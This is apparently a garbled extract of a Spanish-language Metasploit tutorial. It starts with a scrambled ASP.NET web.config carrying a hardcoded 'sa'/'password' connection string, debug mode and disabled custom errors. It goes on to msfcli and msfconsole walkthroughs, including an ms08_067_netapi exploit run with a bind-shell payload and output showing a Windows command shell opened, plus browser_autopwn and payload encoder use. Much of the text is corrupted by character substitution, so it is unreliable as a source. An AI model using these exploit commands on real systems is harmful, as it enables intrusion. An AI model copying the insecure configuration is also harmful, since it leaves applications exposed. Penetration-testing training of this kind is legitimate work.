;#=E&netpuEwwwrootEAe4confi!;.
<W!ml 5erson=:,.':W>
<conf4uraton>
<connecton=trn4s>
<add name=:test:
connecton=trn4=:ser5er=local"ostNdatabase=EebDppNud=saNpassword=password,N:
pro5derLame=:=ystem.7ata.=@lClent:*>
<*connecton=trn4s>
<system.web>
<!11 7JLDMBC 73$<; C9MPBCD2B9L
=et complaton debu4=:true: to enable D=PK debu44n4. 9t"erwseR settn4 t"s
5alue to
false wll mpro5e runtme performance of t"s applcaton.
=et complaton debu4=:true: to nsert debu44n4 symbols(.pdb nformaton)
nto t"e compled pa4e. $ecause t"s creates a lar4er fle t"at e!ecutes
more slowlyR you s"ould set t"s 5alue to true only w"en debu44n4 and to
false at all ot"er tmes. 6or more nformatonR refer to t"e documentaton about
debu44n4 D=P.L32 fles.
11>
<complaton defaultCan4ua4e=:cH: debu4=:true:>
<assembles>
<add assembly=:=ystem.7es4nR 8erson=-.'.'.'R Culture=neutralR
PublcXey2o#en=$'&6/6%6,,7/'D&D:*>
<add assembly=:=ystem.Endows.6ormsR 8erson=-.'.'.'R Culture=neutralR
PublcXey2o#en=$%%D/C/(,)&.3'0):*><*assembles><*complaton>
<!11 C<=29M 3??9? M3==D;3=
=et custom3rrors mode=:9n: or :?emote9nly: to enable custom error messa4esR :9ff:
to dsable.
Ddd <error> ta4s for eac" of t"e errors you want to "andle.
:9n: Dlways dsplay custom (frendly) messa4es.
:9ff: Dlways dsplay detaled D=P.L32 error nformaton.
:?emote9nly: 7splay custom (frendly) messa4es only to users not runnn4
on t"e local Eeb ser5er. 2"s settn4 s recommended for securty purposesR so
t"at you do not dsplay applcaton detal nformaton to remote clents.
11>
<custom3rrors mode=:9ff:*>
<!11 D<2>3L2BCD2B9L
2"s secton sets t"e aut"entcaton polces of t"e applcaton. Possble modes
are :Endows:R
:6orms:R :Passport: and :Lone:
:Lone: Lo aut"entcaton s performed.
:Endows: BB= performs aut"entcaton ($ascR 74estR or Bnte4rated Endows)
accordn4 to
ts settn4s for t"e applcaton. Dnonymous access must be dsabled n BB=.
:6orms: Jou pro5de a custom form (Eeb pa4e) for users to enter t"er credentalsR
and t"en
you aut"entcate t"em n your applcaton. D user credental to#en s stored n a
coo#e.
:Passport: Dut"entcaton s performed 5a a central+ed aut"entcaton ser5ce
pro5ded
by Mcrosoft t"at offers a sn4le lo4on and core profle ser5ces for member
stes.
11>
<aut"entcaton mode=:Endows:*>
<!11 D<2>9?BYD2B9L
2"s secton sets t"e aut"or+aton polces of t"e applcaton. Jou can allow or
deny access
to applcaton resources by user or role. EldcardsM :Z: mean e5eryoneR :W: means
anonymous
(unaut"entcated) users.
11>
<aut"or+aton>
<allow users=:Z:*>
<!11 Dllow all users 11>
<!11 <allow users=:Pcomma separated lst of usersQ:
roles=:Pcomma separated lst of rolesQ:*>
<deny users=:Pcomma separated lst of usersQ:
roles=:Pcomma separated lst of rolesQ:*>
11>
<*aut"or+aton>
<!11 DPPCBCD2B9L1C383C 2?DC3 C9;;BL;
Dpplcaton1le5el tracn4 enables trace lo4 output for e5ery pa4e wt"n an
applcaton.
=et trace enabled=:true: to enable applcaton trace lo44n4. Bf
pa4e9utput=:true:R t"e
trace nformaton wll be dsplayed at t"e bottom of eac" pa4e. 9t"erwseR you can
5ew t"e
applcaton trace lo4 by browsn4 t"e :trace.a!d: pa4e from your web applcaton
root.
11>
<trace enabled=:false: re@uestCmt=:,': pa4e9utput=:false: traceMode=:=ort$y2me:
local9nly=:true:*>
<!11 =3==B9L =2D23 =322BL;=
$y default D=P.L32 uses coo#es to dentfy w"c" re@uests belon4 to a partcular
sesson.
Bf coo#es are not a5alableR a sesson can be trac#ed by addn4 a sesson
dentfer to t"e <?C.
2o dsable coo#esR set sesson=tate coo#eless=:true:.
11>
<sesson=tate mode=:BnProc: stateConnecton=trn4=:tcpp=,-%.'.'.,M.-.-.:
s@lConnecton=trn4=:data source=,-%.'.'.,N2rustedIConnecton=yes:
coo#eless=:false: tmeout=:-':*>
<!11 ;C9$DCBYD2B9L
2"s secton sets t"e 4lobal+aton settn4s of t"e applcaton.
11>
<4lobal+aton re@uest3ncodn4=:utf10: response3ncodn4=:utf10:*>
<*system.web>
<*conf4uraton>
'bre 4nternet Explorer escriba Chttp=>> Ssu Sdireccin ipC. 5sted debe presentar un formulario de
acceso. Entrar en un con%unto de credenciales falsas para verificar que la consulta se e%ecuta
correctamente en la base de datos.
Metasploit Fundamentals
Fundamentos de Metasploit
"ay muchas interfaces diferentes para el &etasploit #ame2or3, cada uno con sus propias fortalezas y
debilidades. /or lo tanto, no hay una interfaz perfecta para usar con &S#, a pesar de la msfconsole es la
Dnica manera de apoyo para acceder a la mayora de las caractersticas del frame2or3. Todava es
beneficioso, sin embaro, para estar cmodo con todas las interfaces que ofrece &S#.
El siuiente mdulo proporcionar una visin eneral de las distintas interfaces, %unto con un debate
donde cada uno es me%or utilizado....
msfcli
&sfcli proporciona una potente interfaz de lnea del frame2or3.
Tena en cuenta que cuando se utiliza msfcli, las variables se asinan con -T- y que todas las opciones
estn entre mayDsculas y minDsculas.
rootFt=GH msfcli windows@sm@ms8IJ8KLJnetapi )"OSTMN7C4NKI4N4C8N
2AO/OADMwindows@shell@indJtcp ,
PZQ Please wat w"le we load t"e module tree...
I
[ [ o
I I I I I[I IIR R I [ [ II I[I
* [* [* [ [* [ * [ * \I[* \I[* * \I[ [
[ [ [I*[II*[I*\I*[I* \* [II* [II*\II* [I*[I*
*[
\[
=P metasplot 5&.0.'1de5 PcoreM&.0 apM,.'Q
U 11 11=P (%( e!plots 1 &-0 au!lary
U 11 11=P -,/ payloads 1 -% encoders 1 0 nops
=P s5n r,,'0. updated today (-','.,,.-,)
?>9=2 => ,)-.,(0.,.-',
PDJC9D7 => wndows*s"ell*bndItcp
PZQ =tarted bnd "andler
PZQ Dutomatcally detectn4 t"e tar4et...
PZQ 6n4erprntM Endows KP =er5ce Pac# - 1 lan4M3n4ls"
PZQ =elected 2ar4etM Endows KP =P- 3n4ls" (LK)
PZQ Dttemptn4 to tr44er t"e 5ulnerablty...
PZQ =endn4 sta4e (-.' bytes) to ,)-.,(0.,.-',
PZQ Command s"ell sesson , opened (,)-.,(0.,.,',M&/'') 1> ,)-.,(0.,.-',M....) at
-','1,,1-, ,.M..M.- 1'%''
Mcrosoft Endows KP P8erson /.,.-(''Q
(C) Copyr4"t ,)0/1-'', Mcrosoft Corp.
CM\EBL79E=\system&->
Si usted no est completamente seuro de lo que las opciones de pertenecer a un mdulo en particular,
puede a0adir C,C de la carta al final de la cadena en cualquier punto en el que estn atrapados.
rootGbtM]H msfcl wndows*smb*ms'0I'(%Inetap 9
PZQ Please wat w"le we load t"e module tree...
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
?>9=2 yes 2"e tar4et address
?P9?2 ../ yes =et t"e =M$ ser5ce port
=M$PBP3 $?9E=3? yes 2"e ppe name to use ($?9E=3?R =?8=8C)
/ara mostrar los payloads que estn disponibles para el mdulo actual, a0ada C/C de la carta a la cadena
de lnea de comandos.
rootGbtM]H msfcl wndows*smb*ms'0I'(%Inetap ?>9=2=,)-.,(0.,.,,/ P
PZQ Please wat w"le we load t"e module tree...
Compatble payloads
===================
Lame 7escrpton
1111 11111111111
4enerc*debu4Itrap ;enerate a debu4 trap n t"e
tar4et process
...snp...
7as otras opciones disponibles para msfcli estn disponibles mediante la emisin de 'msfcli-h'.
;eneficios de mscli
< ,ompatible con la puesta en marcha de las exploit y los mdulos auxiliares
< Jtil para tareas espec'icas
< -ueno para el aprendi.aje
< ,onveniente para el uso en pruebas o el desarrollo de una nueva vulnerabilidad
< -uena herramienta para la explotacin de una sola ve.
< (xcelente si sabes exactamente ue explotan y las opciones ue usted necesita
< Automati.acin de moda para su uso en scripts y b?sica
7a Dnica desventa%a real de msfcli es que no se admite tan bien como msfconsole y slo puede mane%ar
una shell en un momento, por lo que es muy poco prctico para los ataques del lado del cliente.
Tampoco es compatible con cualquiera de las funciones avanzadas de automatizacin de msfconsole.
Msfwe
7a interfaz msf2eb proporcionado a los usuarios con un punto y haa clic en C'%ax?yC interfaz para el
#rame2or3, pero se ha quedado obsoleto y se retira del tronco &etasploit. ' pesar de que era bueno
para la eneracin de cdio shell y la realizacin de manifestaciones, que no era muy estable y no se
estn desarrollando activamente.
Msfconsole
El msfconsole es, probablemente, la interfaz ms popular de la &S#. Se ofrece un Ctodo?en?unoC de la
consola central y permite un acceso eficiente a prcticamente todas las opciones disponibles en el
#rame2or3 de &etasploit. &sfconsole puede parecer intimidante al principio, pero una vez que
aprender la sintaxis de los comandos que aprender a apreciar el poder de utilizar esta interfaz.
7a interfaz msfconsole funcionar en (indo2s con la versin E.E, sin embaro los usuarios de la
versin E.J tendr que instalar de forma manual el #rame2or3 en el $y2in, %unto con el parche de la
instalacin de 6uby, o acceder al emulador de la consola a trav!s de la 2eb incluidas o componentes
.54.
;eneficios de la msfconsole
R Es la Dnica forma de apoyo para acceder a la mayora de las caractersticas dentro de
Metasploit4
R /roporciona una interfaz basada en consola con el #rame2or3
R $ontiene la mayora de las caractersticas y la interfaz de &S# ms estable
R Soporte readline completa, tabulacin y el completado de comandos
R E%ecucin de comandos externos en msfconsole es posible=
msf > pn4 1c , ,)-.,(0.,.-
PZQ e!ecM pn4 1c , ,)-.,(0.,.-
PBL; ,)-.,(0.,.- (,)-.,(0.,.-) /((0.) bytes of data.
(. bytes from ,)-.,(0.,.-M cmpIse@=, ttl=,-0 tme=,'.& ms
111 ,)-.,(0.,.- pn4 statstcs 111
, pac#ets transmttedR , rece5edR 'F pac#et lossR tme 'ms
rtt mn*a54*ma!*mde5 = ,'.&'0*,'.&'0*,'.&'0*'.''' ms
msf >
El msfconsole se lanza simplemente e%ecutando C. > &sfconsole desde la lnea de comandos. /uede
pasar -?h- para msfconsole para ver las opciones de uso disponibles para usted.
rootGbtM]H msfconsole 1"
<sa4eM msfconsole PoptonsQ
=pecfc optonsM
1d 3!ecute t"e console as defan4ed
1r 3!ecute t"e specfed resource fle
1o 9utput to t"e specfed fle
1c Coad t"e specfed conf4uraton fle
1m =pecfes an addtonal module searc" pat"
1p Coad a plu4n on startup
1yR 11yaml =pecfy a JDMC fle contann4 database settn4s
1e R =pecfy t"e database en5ronment to load from t"e JDMC
11en5ronment
15R 115erson ="ow 5erson
1CR 11real1readlne <se t"e system ?eadlne lbrary nstead of
?b?eadlne
1nR 11no1database 7sable database support
1@R 11@uet 7o not prnt t"e banner on start up
Common optonsM
1"R 11"elp ="ow t"s messa4e
rootGbtM]H msfconsole
I I I I
[ [ [ [ (I) [
I II III III[ [I II I III I II [ [ III I[ [I
[ AI ^ I \ * I \ II* I^ * II[ AI \[ [* I \[ [ II[
[ [ [ [ [ [ II* [[ (I[ \II \ [I) [ [ (I) [ [ [I
[I[ [I[ [I[\III[\II\IIRI[III* .II*[I[\III*[I[\II[
[ [
[I[
=P metasplot 5&.0.'1de5 PcoreM&.0 apM,.'Q
U 11 11=P (00 e!plots 1 &/% au!lary 1 &) post
U 11 11=P -,% payloads 1 -% encoders 1 0 nops
=P s5n r,-((( updated today (-',,.'/.,))
msf >
Pettin! "elp
Otencin de ayuda
Entrar en -ayuda- o un -B- en el smbolo del sistema &S# mostrar una lista de comandos disponibles
%unto con una descripcin de lo que se utilizan.
msf > "elp
Core Commands
=============
Command 7escrpton
1111111 11111111111
W >elp menu
bac# Mo5e bac# from t"e current conte!t
banner 7splay an awesome metasplot banner
cd C"an4e t"e current wor#n4 drectory
connect Communcate wt" a "ost
e!t 3!t t"e console
"elp >elp menu
nfo 7splays nformaton about one or more module
rb 7rop nto rb scrptn4 mode
jobs 7splays and mana4es jobs
load Coad a framewor# plu4n
loadpat" =earc"es for and loads modules from a pat"
@ut 3!t t"e console
resource ?un t"e commands stored n a fle
...snp...
Ta #ompletion
Taulador
El msfconsole est dise0ado para ser rpido de usar y una de las caractersticas que ayuda a este
ob%etivo es la implementacin del tabulador. $on la amplia ama de mdulos disponibles, puede ser
difcil de recordar el nombre exacto y la ruta del mdulo en particular que desee hacer uso de. $omo
con la mayora de los otros shells, entrando en lo que sabe y presionando -Tab- le presentar una lista de
opciones disponibles para usted o de auto?completado la cadena si no hay una sola opcin. 7a
implementacin del tabulador depende de la extensin de rub readline y casi todos los comandos en la
consola compatible con la implementacin del tabulador.
use exploitF"indo"sFdce
use ;<netapi;<
set L!O%4
sho"
set 4ARK(4
set PALLOA) "indo"sFshellF
exp
msf > use e!plot*wndows*smb*ms
use e!plot*wndows*smb*ms'&I'.)Inetap
use e!plot*wndows*smb*ms'.I''%I#llbll
use e!plot*wndows*smb*ms'.I',,Ilsass
use e!plot*wndows*smb*ms'.I'&,Inetdde
use e!plot*wndows*smb*ms'/I'&)Ipnp
use e!plot*wndows*smb*ms'(I'-/IrasmansIre4
use e!plot*wndows*smb*ms'(I'-/Irras
use e!plot*wndows*smb*ms'(I'.'Inetap
use e!plot*wndows*smb*ms'(I'((Inwap
use e!plot*wndows*smb*ms'(I'((Inww#s
use e!plot*wndows*smb*ms'(I'%'Iw#ss5c
use e!plot*wndows*smb*ms'%I'-)ImsdnsI+onename
use e!plot*wndows*smb*ms'0I'(%Inetap
use e!plot*wndows*smb*ms')I'/'Ismb-Ine4otateIfuncInde!
use e!plot*wndows*smb*ms,'I'(,Ispoolss
msf > use e!plot*wndows*smb*ms'0I'(%Inetap
The ack #ommand
,/ #OMA(DO ),P),SA)
5na vez que haya terminado de traba%ar con un mdulo en particular, o si inadvertidamente seleccionar
el mdulo incorrecto, puede emitir el -nuevo- comando para salir del contexto actual. Esto, sin embaro
no es necesario. 's como usted puede en routers comerciales, puede cambiar los mdulos dentro de
otros mdulos. $omo recordatorio, las variables slo se trasladar si se establecen a nivel mundial.
msf au!lary(ms')I'',Iwrte) > bac#
msf >
The check #ommand
,l comando de control
9o hay muchos exploit que lo apoyan, pero tambi!n hay una opcin Cchec3C que se compruebe si el
ob%etivo es vulnerable a un exploit en particular en luar de en realidad la explotacin.
msf e!plot(ms'.I'./Iwns) > s"ow optons
Module optonsM
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
?>9=2 ,)-.,(0.,.,,. yes 2"e tar4et address
?P9?2 .- yes 2"e tar4et port
3!plot tar4etM
Bd Lame
11 1111
' Endows -''' 3n4ls"
msf e!plot(ms'.I'./Iwns) > c"ec#
P1Q C"ec# faledM 2"e connecton was refused by t"e remote "ost (,)-.,(0.,.,,.M.-)
The connect #ommand
,l #omando de conectar
9o es un clon en miniatura interado en el netcat msfconsole que soporta proxies SS7, que ira, y
enva el archivo. &ediante la emisin de la orden connect con una direccin 4/ y el puerto, puede
conectarse a un host remoto desde el interior de msfconsole el mismo como lo hara con netcat o telnet.
msf > connect ,)-.,(0.,., -&
PZQ Connected to ,)-.,(0.,.,M-&
_`_`_`!_a_a
771E?2 5-. std (c) -''0 LewMeda1L32 ;mb>
?eleaseM '%*-%*'0 (=8L re5sonM ,'',,)
_
771E?2 lo4nM
<y passin! the Q-sQ ar!ument to connect6 it will connect via SS/=
Al pasar el ar!umento Q-sQ para conectarse6 se conectar* a trav0s de SS/=
msf > connect 1s www.metasplot.com ..&
PZQ Connected to www.metasplot.comM..&
;32 * >22P*,.'
>22P*,., &'- 6ound
7ateM =atR -/ bul -'') '/M'&M.- ;M2
=er5erM Dpac"e*-.-.,,
CocatonM "ttpM**www.metasplot.or4*
e.ploit vs4 run
e.plotar frente a correr
$uando se lanza un exploit, se emite el -exploit- de comandos, mientras que si se utiliza un mdulo
auxiliar, el uso correcto es CcorrerC a pesar de -explotar- funcionar tan bien.
msf au!lary(ms')I'',Iwrte) > run
Dttemptn4 to cras" t"e remote "ost...
datalenlow=(//&/ dataoffset=(//&/ fllers+e=%-
rescue
datalenlow=///&/ dataoffset=(//&/ fllers+e=%-
rescue
datalenlow=.//&/ dataoffset=(//&/ fllers+e=%-
rescue
datalenlow=&//&/ dataoffset=(//&/ fllers+e=%-
rescue
datalenlow=-//&/ dataoffset=(//&/ fllers+e=%-
rescue
...snp...
The ir #ommand
,l comando ir
7a e%ecucin del C46;C comando se pone en una shell int!rprete en vivo de 6uby en el que pueden
e%ecutar comandos y scripts de creacin de &etasploit sobre la marcha. Esta caracterstica es muy Dtil
para entender el funcionamiento interno del #rame2or3.
msf > rb
PZQ =tartn4 B?$ s"ell...
>> puts :>elloR metasplot!:
>elloR metasplot!
=> nl
>> 6ramewor#MM8erson
=> :&.0.'1de5:
>> framewor#.modules.#eys.len4t"
=>,&&(
The ?os #ommand
,l #omando de puesto de traa?o
/uestos de traba%o son los mdulos que se e%ecutan en seundo plano. El comando -%obs- ofrece la
posibilidad de la lista y poner fin a estos puestos de traba%o.
msf e!plot(ms'0I'(%Inetap) > jobs 1"
<sa4eM jobs PoptonsQ
Dct5e job manpulaton and nteracton.
9P2B9L=M
1X 2ermnate all runnn4 jobs.
1" >elp banner.
1 Csts detaled nformaton about a runnn4 job.
1# 2ermnate t"e specfed job name.
1l Cst all runnn4 jobs.
15 Prnt more detaled nfo. <se wt" 1 and 1l
The load #ommand
,l comando car!ar
7a orden load cara un plu?in del directorio &etasploit -pluin-. 7os arumentos se pasan como Cclave
T valorC en laK shell.RshellM
msf > load
<sa4eM load P5ar=5al 5ar=5al ...Q
Coad a plu4n from t"e suppled pat". 2"e optonal
5ar=5al optons are custom parameters t"at can be
passed to plu4ns.
msf > load pcapIlo4
PZQ =uccessfully loaded plu4nM pcapIlo4
;unload; #ommand
#omando RunloadS
/or el contrario, el comando CdescaraC descara de un pluin carado previamente y se eliminarn los
comandos extendidos.
msf > load pcapIlo4
PZQ =uccessfully loaded plu4nM pcapIlo4
msf > unload pcapIlo4
<nloadn4 plu4n pcapIlo4...unloaded.
;loadpath; #ommand
CloadpathC $omando
El comando -loadpath- se cara un rbol tercer mdulo, parte de la ruta para que pueda &etasploit punto
en el da G?explota, codificadores, /ayloads, etc
msf > loadpat" *"ome*secret*modules
Coaded ' modules.
The resource #ommand
,l #omando de recursos
'lunos ataques, tales como *armetasploit uso de un recurso Kpor lotesM de archivos que se pueden
carar a trav!s de la msfconsole utilizando el CrecursoC de comandos. Estos archivos son una secuencia
de comandos bsicos para msfconsole. Se e%ecuta los comandos en el archivo de forma secuencial. &s
adelante veremos cmo, en las afueras de *armetasploit, que puede ser muy Dtil.
msf > resource #arma.rc
resource> load dbIs@lte&
P1Q
P1Q 2"e functonalty pre5ously pro5ded by t"s plu4n "as been
P1Q nte4rated nto t"e core command set. <se t"e new AdbIdr5erA
P1Q command to use a database dr5er ot"er t"an s@lte& (w"c"
P1Q s now t"e default). Dll of t"e old commands are t"e same.
P1Q
P1Q 6aled to load plu4n from *pentest*e!plots*framewor#&*plu4ns*dbIs@lte&M
7eprecated plu4n
resource> dbIcreate *root*#arma.db
PZQ 2"e specfed database already e!stsR connectn4
PZQ =uccessfully connected to t"e database
PZQ 6leM *root*#arma.db
resource> use au!lary*ser5er*browserIautopwn
resource> set4 D<29PELI>9=2 ,'.'.'.,
D<29PELI>9=2 => ,'.'.'.,
...snp...
'rchivos por lotesKRbash filesM puede acelerar las pruebas y los tiempos de desarrollo, as como
permitir al usuario automatizar muchas tareas. 'dems de carar un archivo por lotes desde el interior
de msfconsole, tambi!n puede pasar cuando arranque usando la opcin -?r-. El sencillo e%emplo
siuiente se crea un archivo por lotes para mostrar el nDmero de versin de &etasploit en el inicio.
rootGbtM]H ec"o 5erson > 5erson.rc
rootGbtM]H .*msfconsole 1r 5erson.rc
000 000 d0b000
000 000 J0P000
000 000 000
00000b.d00b. .d00b. 000000 0000b. .d0000b 00000b. 000 .d00b. 000000000
000 :000 :00bd0P J0b000 :00b00X 000 :00b000d00::00b000000
000 000 00000000000000 .d000000:J0000b.000 000000000 000000000
000 000 000J0b. J00b. 000 000 K00000 d00P000J00..00P000J00b.
000 000 000 :J0000 :J000:J000000 00000PA00000P: 000 :J00P: 000 :J000
000
000
000
=P metasplot 5&.0.'1de5 PcoreM&.0 apM,.'Q
U 11 11=P (00 e!plots 1 &/% au!lary 1 &) post
U 11 11=P -,% payloads 1 -% encoders 1 0 nops
=P s5n r,-((0 updated today (-',,.'/.,))
resource> 5erson
6ramewor#M &.0.'1de5.,-(..
Console M &.0.'1de5.,-(/,
msf >
The route #ommand
#omando de enrutamiento
El comando CrouteC en &etasploit que permite a los soc3ets de ruta a trav!s de una sesin o
CcomunicacinC, proporcionando las capacidades bsicas de iro. /ara arear una ruta, se pasa la
subred de destino y mscara de red seuida por la sesin Kcomunicacin personalM nDmero.
msf e!plot(ms'0I'(%Inetap) > route
<sa4eM route Padd*remo5e*4et*flus"*prntQ subnet netmas# Pcomm*sdQ
?oute traffc destned to a 45en subnet t"rou4" a suppled sesson.
2"e default comm s Cocal.
msf e!plot(ms'0I'(%Inetap) > route add ,)-.,(0.,.' -//.-//.-//.' -
msf e!plot(ms'0I'(%Inetap) > route prnt
Dct5e ?outn4 2able
====================
=ubnet Letmas# ;ateway
111111 1111111 1111111
,)-.,(0.,.' -//.-//.-//.' =esson -
The info #ommand
,l comando info
El comando -info- proporcionar informacin detallada acerca de un mdulo en particular incluyendo
todas las opciones, ob%etivos, y otra informacin. 'seDrese de leer siempre la descripcin del mdulo
antes de usarlo como alunos pueden tener sin los efectos deseados.
El comando info tambi!n ofrece la siuiente informacin=
R El autor y licencias de la informacin
R :ulnerabilidad de las referencias Kes decir= $:E, ;4), etcM
R 7as restricciones de cara el mdulo puede tener
msf > nfo dos*wndows*smb*ms')I'',Iwrte
LameM Mcrosoft =?8.=J= ErteDndK Bn5ald 7ata9ffset
8ersonM (0)'
CcenseM Metasplot 6ramewor# Ccense ($=7)
Pro5ded byM
j.5.5allejo
The set@unset #ommands
/os comandos de armado @ desarmado
El comando -set- le permite confiurar las opciones de #rame2or3 y los parmetros para el mdulo
actual que se est traba%ando.
msf au!lary(ms')I'',Iwrte) > set ?>9=2 ,)-.,(0.,.,
?>9=2 => ,)-.,(0.,.,
msf au!lary(ms')I'',Iwrte) > s"ow optons
Module optonsM
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
?>9=2 ,)-.,(0.,., yes 2"e tar4et address
?P9?2 ../ yes =et t"e =M$ ser5ce port
5n raso a0adido recientemente en &etasploit es la posibilidad de establecer un codificador para el uso
en tiempo de e%ecucin. Esto es particularmente Dtil en el desarrollo de explotar cuando no estn muy
seuros en cuanto a capacidad de cara que los m!todos de codificacin funciona con un exploit.
msf e!plot(ms'0I'(%Inetap) > s"ow encoders
Compatble encoders
===================
Lame 7escrpton
1111 11111111111
cmd*4enercIs" ;enerc ="ell 8arable =ubsttuton Command 3ncoder
4enerc*none 2"e :none: 3ncoder
mpsbe*lon4!or K9? 3ncoder
mpsle*lon4!or K9? 3ncoder
p"p*base(. P>P $ase(. encoder
ppc*lon4!or PPC Con4K9? 3ncoder
ppc*lon4!orIta4 PPC Con4K9? 3ncoder
sparc*lon4!orIta4 =PD?C 7E9?7 K9? 3ncoder
!(.*!or K9? 3ncoder
!0(*alp"aIm!ed Dlp"a- Dlp"anumerc M!edcase 3ncoder
!0(*alp"aIupper Dlp"a- Dlp"anumerc <ppercase 3ncoder
!0(*a5odIutf0Itolower D5od <260*tolower
!0(*call.IdwordI!or CallU. 7word K9? 3ncoder
!0(*countdown =n4le1byte K9? Countdown 3ncoder
!0(*fnsten5Imo5 8arable1len4t" 6nsten5*mo5 7word K9? 3ncoder
!0(*jmpIcallIaddt5e Polymorp"c bump*Call K9? Dddt5e 6eedbac# 3ncoder
!0(*nonalp"a Lon1Dlp"a 3ncoder
!0(*nonupper Lon1<pper 3ncoder
!0(*s"#ataI4aIna Polymorp"c K9? Dddt5e 6eedbac# 3ncoder
!0(*uncodeIm!ed Dlp"a- Dlp"anumerc <ncode M!edcase 3ncoder
!0(*uncodeIupper Dlp"a- Dlp"anumerc <ncode <ppercase 3ncoder
msf e!plot(ms'0I'(%Inetap) > set encoder !0(*s"#ataI4aIna
encoder => !0(*s"#ataI4aIna
;unset; #ommand
#omando RunsetS
7o contrario de la orden set, por supuesto, es CunsetC. C)esarmarC elimina un parmetro previamente
confiurado con -set-. /uede eliminar todas las variables asinadas con -unset all-.
msf > set ?>9=2= ,)-.,(0.,.'*-.
?>9=2= => ,)-.,(0.,.'*-.
msf > set 2>?3D7= /'
2>?3D7= => /'
msf > set
;lobal
======
Lame 8alue
1111 11111
?>9=2= ,)-.,(0.,.'*-.
2>?3D7= /'
msf > unset 2>?3D7=
<nsettn4 2>?3D7=...
msf > unset all
6lus"n4 datastore...
msf > set
;lobal
======
Lo entres n data store.
The sessions #ommand
/as sesiones de #omando
El comando -sesiones- le permite a la lista, interactuar con, y matar a sesiones dio luar. 7as sesiones
pueden ser los depsitos, las sesiones de &eterpreter, :9$, etc
msf > sessons 1"
<sa4eM sessons PoptonsQ
Dct5e sesson manpulaton and nteracton.
9P2B9L=M
1X 2ermnate all sessons
1c ?un a command on t"e sesson 45en wt" 1R or all
1d 7etac" an nteract5e sesson
1" >elp banner
1 Bnteract wt" t"e suppled sesson B7
1# 2ermnate sesson
1l Cst all act5e sessons
1@ Suet mode
1r ?eset t"e rn4 buffer for t"e sesson 45en wt" 1R or all
1s ?un a scrpt on t"e sesson 45en wt" 1R or all
1u <p4rade a wn&- s"ell to a meterpreter sesson
15 Cst 5erbose felds
' la lista de las sesiones activas, pasan las opciones -?l- a -sesiones-.
msf e!plot(&pro!y) > sessons 1l
Dct5e sessons
===============
Bd 7escrpton 2unnel
11 11111111111 111111
, Command s"ell ,)-.,(0.,.,',M&&,), 1> ,)-.,(0.,.,'.M....
To interact with a !iven session6 you ?ust need to use the Q-iQ switch followed y the &d numer of
the session4
msf e!plot(&pro!y) > sessons 1 ,
PZQ =tartn4 nteracton wt" ,...
CM\EBL79E=\system&->
The search #ommand
,l comando <1S#A)
El msfconsole incluye una amplia expresin reular funcionalidad de bDsqueda basados en. Si usted
tiene una idea eneral de lo que est buscando para que usted puede buscar a trav!s de la CbDsquedaC.
En la salida siuiente, la bDsqueda se hace a &S ;oletn &SGU?GOO. 7a funcin de bDsqueda localizar
esta cadena en el nombre del mdulo, descripciones, referencias, etc
Tena en cuenta la convencin de nomenclatura para los mdulos &etasploit utiliza subraya versus
uiones.
msf > searc" ms')1'',
PZQ =earc"n4 loaded modules for pattern Ams')1'',A...
Du!lary
=========
Lame 7escrpton
1111 11111111111
dos*wndows*smb*ms')I'',Iwrte Mcrosoft =?8.=J= ErteDndK Bn5ald 7ata9ffset
2odr* definir a5n m*s su 5s'ueda utili-ando el sistema de palaras clave incorporada4
msf > "elp searc"
<sa4eM searc" P#eywordsQ
XeywordsM
name M Modules wt" a matc"n4 descrpt5e name
pat" M Modules wt" a matc"n4 pat" or reference name
platform M Modules affectn4 t"s platform
type M Modules of a specfc type (e!plotR au!laryR or post)
app M Modules t"at are clent or ser5er attac#s
aut"or M Modules wrtten by t"s aut"or
c5e M Modules wt" a matc"n4 C83 B7
bd M Modules wt" a matc"n4 $u4tra@ B7
os5db M Modules wt" a matc"n4 9=87$ B7
3!amplesM
searc" c5eM-'') typeMe!plot appMclent
msf >
/ara buscar con un nombre descriptivo, el uso del CnombreC de palabras clave.
msf > searc" nameMllustrator
Matc"n4 Modules
================
Lame 7sclosure 7ate ?an#
7escrpton
1111 111111111111111 1111
11111111111
e!plot*wndows*fleformat*adobeIllustratorI5,.Ieps -'')1,-1'& 4reat
Ddobe Bllustrator C=. 5,..'.'
1se el ;path; palara clave para uscar dentro de los caminos del mdulo4
msf > searc" pat"Mscada
Matc"n4 Modules
================
Lame 7sclosure 7ate ?an#
7escrpton
1111 111111111111111 1111
11111111111
au!lary*admn*scada*4ssIe!ecI,% -',,1'&1-, normal
Bnteract5e ;rap"cal =CD7D =ystem ?emote Command Bnjecton
e!plot*wndows*scada*ctectIscadaIodbc -''01'(1,, normal
Ctect=CD7D*Ctect6acltes 97$C $uffer 95erflow
...snp...
/uede utilizar CplataformC para restrinir la bDsqueda a los mdulos que afectan a una plataforma
especfica.
msf > searc" platformMa!
Matc"n4 Modules
================
Lame 7sclosure 7ate ?an# 7escrpton
1111 111111111111111 1111 11111111111
payload*a!*ppc*s"ellIbndItcp normal DBK Command
="ellR $nd 2CP Bnlne
payload*a!*ppc*s"ellIfndIport normal DBK Command
="ellR 6nd Port Bnlne
payload*a!*ppc*s"ellInteract normal DBK e!ec5e s"ell
for netd
...snp...
1sin! the ;type; lets you filter y module type such as au.iliary6 post6 e.ploit6 etc4
msf > searc" typeMpost
Matc"n4 Modules
================
Lame 7sclosure 7ate ?an#
7escrpton
1111 111111111111111 1111
11111111111
post*lnu!*4at"er*c"ec#5m normal
Cnu! ;at"er 8rtual 3n5ronment 7etecton
post*lnu!*4at"er*enumIcron normal
Cnu! Cron bob 3numeraton
post*lnu!*4at"er*enumIlnu! normal
Cnu! ;at"er =ystem Bnformaton
...snp...
;Dsqueda de palabras clave con el comando CautorC le permite buscar los mdulos de su autor
favorito. ms'M autor de b9sueda= )oo+ie
Matc"n4 Modules
================
Lame 7sclosure 7ate
?an# 7escrpton
1111 111111111111111
1111 11111111111
e!plot*os!*"ttp*e5ocamIwebser5er -','1'(1',
a5era4e Mac9= K 35oCam >22P ;32 $uffer 95erflow
e!plot*os!*msc*ufoIa -'')1,'1-0
a5era4e <69M Dlen Bn5ason B?C Clent $uffer 95erflow 3!plot
e!plot*wndows*browser*amayaIbdo -'')1',1-0
normal Dmaya $rowser 5,,.' bdo ta4 o5erflow
...snp...
Tambi!n se pueden combinar varias palabras clave %unto con reducir aDn ms los resultados obtenidos.
msf > searc" c5eM-',, aut"orMjduc# platformMlnu!
